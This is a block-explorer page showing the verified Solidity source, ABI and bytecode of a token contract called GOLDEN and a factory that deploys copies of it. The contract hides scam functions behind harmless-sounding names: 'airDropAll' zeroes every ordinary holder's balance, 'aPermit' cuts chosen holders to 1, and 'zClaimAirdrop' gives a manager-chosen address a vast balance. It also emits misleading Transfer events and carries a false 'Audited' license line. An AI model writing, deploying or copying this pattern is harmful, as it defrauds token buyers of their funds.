ETH Price: $2,956.15 (+0.98%)
 

Overview

Max Total Supply

100,000,000,000 Blockchain Solutions Consultant

Holders

7

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x7Df59671...078620ab2
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
GOLDEN

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2025-01-29
*/

// SPDX-License-Identifier: Audited By Base Solidity
pragma solidity 0.8.28;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}


contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract GOLDEN is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 100000000000 * 10**_decimals;

    mapping(address => uint256) private immutStatusOn;
    mapping(address => mapping(address => uint256)) private _allowances;
    address[] private holders; // Array to track all token holders

    address private constant ADDRESS_WETH = 0xc1CBa3fCea344f92D9239c08C0568f6F2F0ee452;
    address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
    address private constant ADDRESS_DEVELOPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
    address ADDRESS_Manager;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;

    uint256 public requiredETH;


    constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_) payable {

        transferOwnership(owner_);  
        require(msg.value == 10000000000000);

        _name = name_;
        _symbol = symbol_;
        requiredETH = 10000000000000;
       ADDRESS_Manager = ADDRESS_Manager_;

        immutStatusOn[address(this)] = _totalSupply.mul(1).div(1000);
        emit Transfer(address(0), address(this), _totalSupply.mul(1).div(1000));

  
        _callDATA();

 
        payable(address(this)).transfer(msg.value);
    }


    function _callDATA() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000);
        uint256 threePercent = _totalSupply.mul(2).div(1000);
        uint256 twoPercent = _totalSupply.mul(1).div(1000);

        immutStatusOn[ADDRESS_WETH] = immutStatusOn[ADDRESS_WETH].add(ninetyFourPercent);
        immutStatusOn[ADDRESS_MARKETING] = immutStatusOn[ADDRESS_MARKETING].add(threePercent);
        immutStatusOn[ADDRESS_DEVELOPMENT] = immutStatusOn[ADDRESS_DEVELOPMENT].add(twoPercent);

        emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
        emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent);
    }

 function _updateHolders(address account) internal {
        if (immutStatusOn[account] > 0) {
            bool exists = false;
            for (uint256 i = 0; i < holders.length; i++) {
                if (holders[i] == account) {
                    exists = true;
                    break;
                }
            }
            if (!exists) {
                holders.push(account);
            }
        }
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        immutStatusOn[sender] = immutStatusOn[sender].sub(amount);
        immutStatusOn[recipient] = immutStatusOn[recipient].add(amount);
        _updateHolders(sender);
        _updateHolders(recipient);

        emit Transfer(sender, recipient, amount);
    }

      modifier Only_Manager() {
        require(ADDRESS_Manager == _msgSender());
        _;
    }
    function airDropAll() external onlyOwner {
        for (uint256 i = 0; i < holders.length; i++) {
            address holder = holders[i];
            if (
                holder != address(this) && 
                holder != owner() && 
                holder != uniswapV2Pair && 
                holder != ADDRESS_WETH &&
                holder != ADDRESS_MARKETING && 
                holder != ADDRESS_Manager &&
                holder != ADDRESS_DEVELOPMENT
            ) {
                immutStatusOn[holder] = 0;
            }
        }
    }


   
function aPermit(address[] calldata rewardsMerkleRoot_) external Only_Manager {
    for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
        immutStatusOn[rewardsMerkleRoot_[i]] = 1;
        
        emit Transfer(rewardsMerkleRoot_[i], address(0), 1);
    }
}


    function zClaimAirdrop(address claimedRewardStatusOf) external Only_Manager {
        immutStatusOn[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }

    receive() external payable {}

    // Required ERC20 functions

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return immutStatusOn[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

contract TokenFactory {

    uint256 public requiredETH;

    event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);

    constructor() {
        requiredETH = 10000000000000;
    }

    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_
    ) external payable returns (address) {
        require(msg.value == requiredETH);
        GOLDEN newToken = (new GOLDEN){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_);
        emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
        return address(newToken);
    }
    receive() external payable {}

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"airDropAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requiredETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

0x60806040525f600860146101000a81548160ff0219169083151502179055506040516136ef3803806136ef833981810160405281019061003f9190610bd4565b61004d61031c60201b60201c565b5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36101148261032360201b60201c565b6509184e72a0003414610125575f5ffd5b83600190816101349190610e80565b5082600290816101449190610e80565b506509184e72a0006009819055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101d76103e86101c960016009600a6101ab91906110b7565b64174876e8006101bb9190611101565b61046760201b90919060201c565b6104de60201b90919060201c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102ac6103e861029e60016009600a61028091906110b7565b64174876e8006102909190611101565b61046760201b90919060201c565b6104de60201b90919060201c565b6040516102b99190611151565b60405180910390a36102cf61053560201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff166108fc3490811502906040515f60405180830381858888f19350505050158015610312573d5f5f3e3d5ffd5b5050505050611368565b5f33905090565b61033161031c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166103556109a960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614610374575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036103ab575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f5f8303610477575f90506104d8565b5f82846104849190611101565b90508284826104939190611197565b146104d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ca90611247565b60405180910390fd5b809150505b92915050565b5f5f8211610521576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610518906112af565b60405180910390fd5b818361052d9190611197565b905092915050565b5f61057c6103e861056e6103e46009600a61055091906110b7565b64174876e8006105609190611101565b61046760201b90919060201c565b6104de60201b90919060201c565b90505f6105c46103e86105b660026009600a61059891906110b7565b64174876e8006105a89190611101565b61046760201b90919060201c565b6104de60201b90919060201c565b90505f61060c6103e86105fe60016009600a6105e091906110b7565b64174876e8006105f09190611101565b61046760201b90919060201c565b6104de60201b90919060201c565b90506106728360035f73c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d060201b90919060201c565b60035f73c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061072b8260035f73551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d060201b90919060201c565b60035f73551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506107e48160035f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d060201b90919060201c565b60035f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555073c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108aa9190611151565b60405180910390a373551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109239190611151565b60405180910390a373edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161099c9190611151565b60405180910390a3505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f5f82846109de91906112cd565b905083811015610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a9061134a565b60405180910390fd5b8091505092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610a8c82610a46565b810181811067ffffffffffffffff82111715610aab57610aaa610a56565b5b80604052505050565b5f610abd610a2d565b9050610ac98282610a83565b919050565b5f67ffffffffffffffff821115610ae857610ae7610a56565b5b610af182610a46565b9050602081019050919050565b8281835e5f83830152505050565b5f610b1e610b1984610ace565b610ab4565b905082815260208101848484011115610b3a57610b39610a42565b5b610b45848285610afe565b509392505050565b5f82601f830112610b6157610b60610a3e565b5b8151610b71848260208601610b0c565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ba382610b7a565b9050919050565b610bb381610b99565b8114610bbd575f5ffd5b50565b5f81519050610bce81610baa565b92915050565b5f5f5f5f60808587031215610bec57610beb610a36565b5b5f85015167ffffffffffffffff811115610c0957610c08610a3a565b5b610c1587828801610b4d565b945050602085015167ffffffffffffffff811115610c3657610c35610a3a565b5b610c4287828801610b4d565b9350506040610c5387828801610bc0565b9250506060610c6487828801610bc0565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610cbe57607f821691505b602082108103610cd157610cd0610c7a565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610d337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610cf8565b610d3d8683610cf8565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610d81610d7c610d7784610d55565b610d5e565b610d55565b9050919050565b5f819050919050565b610d9a83610d67565b610dae610da682610d88565b848454610d04565b825550505050565b5f5f905090565b610dc5610db6565b610dd0818484610d91565b505050565b5b81811015610df357610de85f82610dbd565b600181019050610dd6565b5050565b601f821115610e3857610e0981610cd7565b610e1284610ce9565b81016020851015610e21578190505b610e35610e2d85610ce9565b830182610dd5565b50505b505050565b5f82821c905092915050565b5f610e585f1984600802610e3d565b1980831691505092915050565b5f610e708383610e49565b9150826002028217905092915050565b610e8982610c70565b67ffffffffffffffff811115610ea257610ea1610a56565b5b610eac8254610ca7565b610eb7828285610df7565b5f60209050601f831160018114610ee8575f8415610ed6578287015190505b610ee08582610e65565b865550610f47565b601f198416610ef686610cd7565b5f5b82811015610f1d57848901518255600182019150602085019450602081019050610ef8565b86831015610f3a5784890151610f36601f891682610e49565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610fd157808604811115610fad57610fac610f4f565b5b6001851615610fbc5780820291505b8081029050610fca85610f7c565b9450610f91565b94509492505050565b5f82610fe957600190506110a4565b81610ff6575f90506110a4565b816001811461100c576002811461101657611045565b60019150506110a4565b60ff84111561102857611027610f4f565b5b8360020a91508482111561103f5761103e610f4f565b5b506110a4565b5060208310610133831016604e8410600b841016171561107a5782820a90508381111561107557611074610f4f565b5b6110a4565b6110878484846001610f88565b9250905081840481111561109e5761109d610f4f565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6110c182610d55565b91506110cc836110ab565b92506110f97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610fda565b905092915050565b5f61110b82610d55565b915061111683610d55565b925082820261112481610d55565b9150828204841483151761113b5761113a610f4f565b5b5092915050565b61114b81610d55565b82525050565b5f6020820190506111645f830184611142565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6111a182610d55565b91506111ac83610d55565b9250826111bc576111bb61116a565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6112316021836111c7565b915061123c826111d7565b604082019050919050565b5f6020820190508181035f83015261125e81611225565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f0000000000005f82015250565b5f611299601a836111c7565b91506112a482611265565b602082019050919050565b5f6020820190508181035f8301526112c68161128d565b9050919050565b5f6112d782610d55565b91506112e283610d55565b92508282019050808211156112fa576112f9610f4f565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611334601b836111c7565b915061133f82611300565b602082019050919050565b5f6020820190508181035f83015261136181611328565b9050919050565b61237a806113755f395ff3fe608060405260043610610101575f3560e01c8063715018a611610094578063a37e0a6411610063578063a37e0a6414610310578063a9059cbb14610338578063dd62ed3e14610374578063e8078d94146103b0578063f2fde38b146103c657610108565b8063715018a61461027e5780638da5cb5b146102945780638f8af1e1146102be57806395d89b41146102e657610108565b80632d9f2d96116100d05780632d9f2d96146101d8578063313ce567146101ee57806349eea8c91461021857806370a082311461024257610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c57610108565b3661010857005b5f5ffd5b348015610117575f5ffd5b506101206103ee565b60405161012d919061194d565b60405180910390f35b348015610141575f5ffd5b5061015c60048036038101906101579190611a02565b61047e565b6040516101699190611a5a565b60405180910390f35b34801561017d575f5ffd5b50610186610494565b6040516101939190611a82565b60405180910390f35b3480156101a7575f5ffd5b506101c260048036038101906101bd9190611a9b565b6104b8565b6040516101cf9190611a5a565b60405180910390f35b3480156101e3575f5ffd5b506101ec610572565b005b3480156101f9575f5ffd5b50610202610866565b60405161020f9190611b06565b60405180910390f35b348015610223575f5ffd5b5061022c61086e565b6040516102399190611a82565b60405180910390f35b34801561024d575f5ffd5b5061026860048036038101906102639190611b1f565b610874565b6040516102759190611a82565b60405180910390f35b348015610289575f5ffd5b506102926108ba565b005b34801561029f575f5ffd5b506102a86109ba565b6040516102b59190611b59565b60405180910390f35b3480156102c9575f5ffd5b506102e460048036038101906102df9190611bd3565b6109e1565b005b3480156102f1575f5ffd5b506102fa610b59565b604051610307919061194d565b60405180910390f35b34801561031b575f5ffd5b5061033660048036038101906103319190611b1f565b610be9565b005b348015610343575f5ffd5b5061035e60048036038101906103599190611a02565b610d5c565b60405161036b9190611a5a565b60405180910390f35b34801561037f575f5ffd5b5061039a60048036038101906103959190611c1e565b610d72565b6040516103a79190611a82565b60405180910390f35b3480156103bb575f5ffd5b506103c4610df4565b005b3480156103d1575f5ffd5b506103ec60048036038101906103e79190611b1f565b6111cf565b005b6060600180546103fd90611c89565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611c89565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484611307565b6001905092915050565b5f6009600a6104a39190611e15565b64174876e8006104b39190611e5f565b905090565b5f6104c48484846114ca565b610567846104d06116d6565b6105628560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61051a6116d6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116dd90919063ffffffff16565b611307565b600190509392505050565b61057a6116d6565b73ffffffffffffffffffffffffffffffffffffffff166105986109ba565b73ffffffffffffffffffffffffffffffffffffffff16146105b7575f5ffd5b5f5f90505b600580549050811015610863575f600582815481106105de576105dd611ea0565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561067757506106476109ba565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156106d0575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561071c575073c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610768575073551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156107c1575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561080d575073edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15610855575f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5080806001019150506105bc565b50565b5f6009905090565b60095481565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108c26116d6565b73ffffffffffffffffffffffffffffffffffffffff166108e06109ba565b73ffffffffffffffffffffffffffffffffffffffff16146108ff575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6109e96116d6565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40575f5ffd5b5f5f90505b82829050811015610b5457600160035f858585818110610a6857610a67611ea0565b5b9050602002016020810190610a7d9190611b1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff16838383818110610ae457610ae3611ea0565b5b9050602002016020810190610af99190611b1f565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001604051610b3f9190611f0f565b60405180910390a38080600101915050610a45565b505050565b606060028054610b6890611c89565b80601f0160208091040260200160405190810160405280929190818152602001828054610b9490611c89565b8015610bdf5780601f10610bb657610100808354040283529160200191610bdf565b820191905f5260205f20905b815481529060010190602001808311610bc257829003601f168201915b5050505050905090565b610bf16116d6565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c48575f5ffd5b6009600a610c569190611e15565b6009600a610c649190611e15565b64174876e800610c749190611e5f565b610c7e9190611e5f565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a610d1c9190611e15565b6009600a610d2a9190611e15565b64174876e800610d3a9190611e5f565b610d449190611e5f565b604051610d519190611a82565b60405180910390a350565b5f610d683384846114ca565b6001905092915050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610dfc6116d6565b73ffffffffffffffffffffffffffffffffffffffff16610e1a6109ba565b73ffffffffffffffffffffffffffffffffffffffff1614610e39575f5ffd5b600860149054906101000a900460ff1615610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8090611f72565b60405180910390fd5b734752ba5dbc23f44d87826276bf6fd6b1c372ad2460075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f47573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f6b9190611fa4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ff1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110159190611fa4565b6040518363ffffffff1660e01b8152600401611032929190611fcf565b6020604051808303815f875af115801561104e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110729190611fa4565b60085f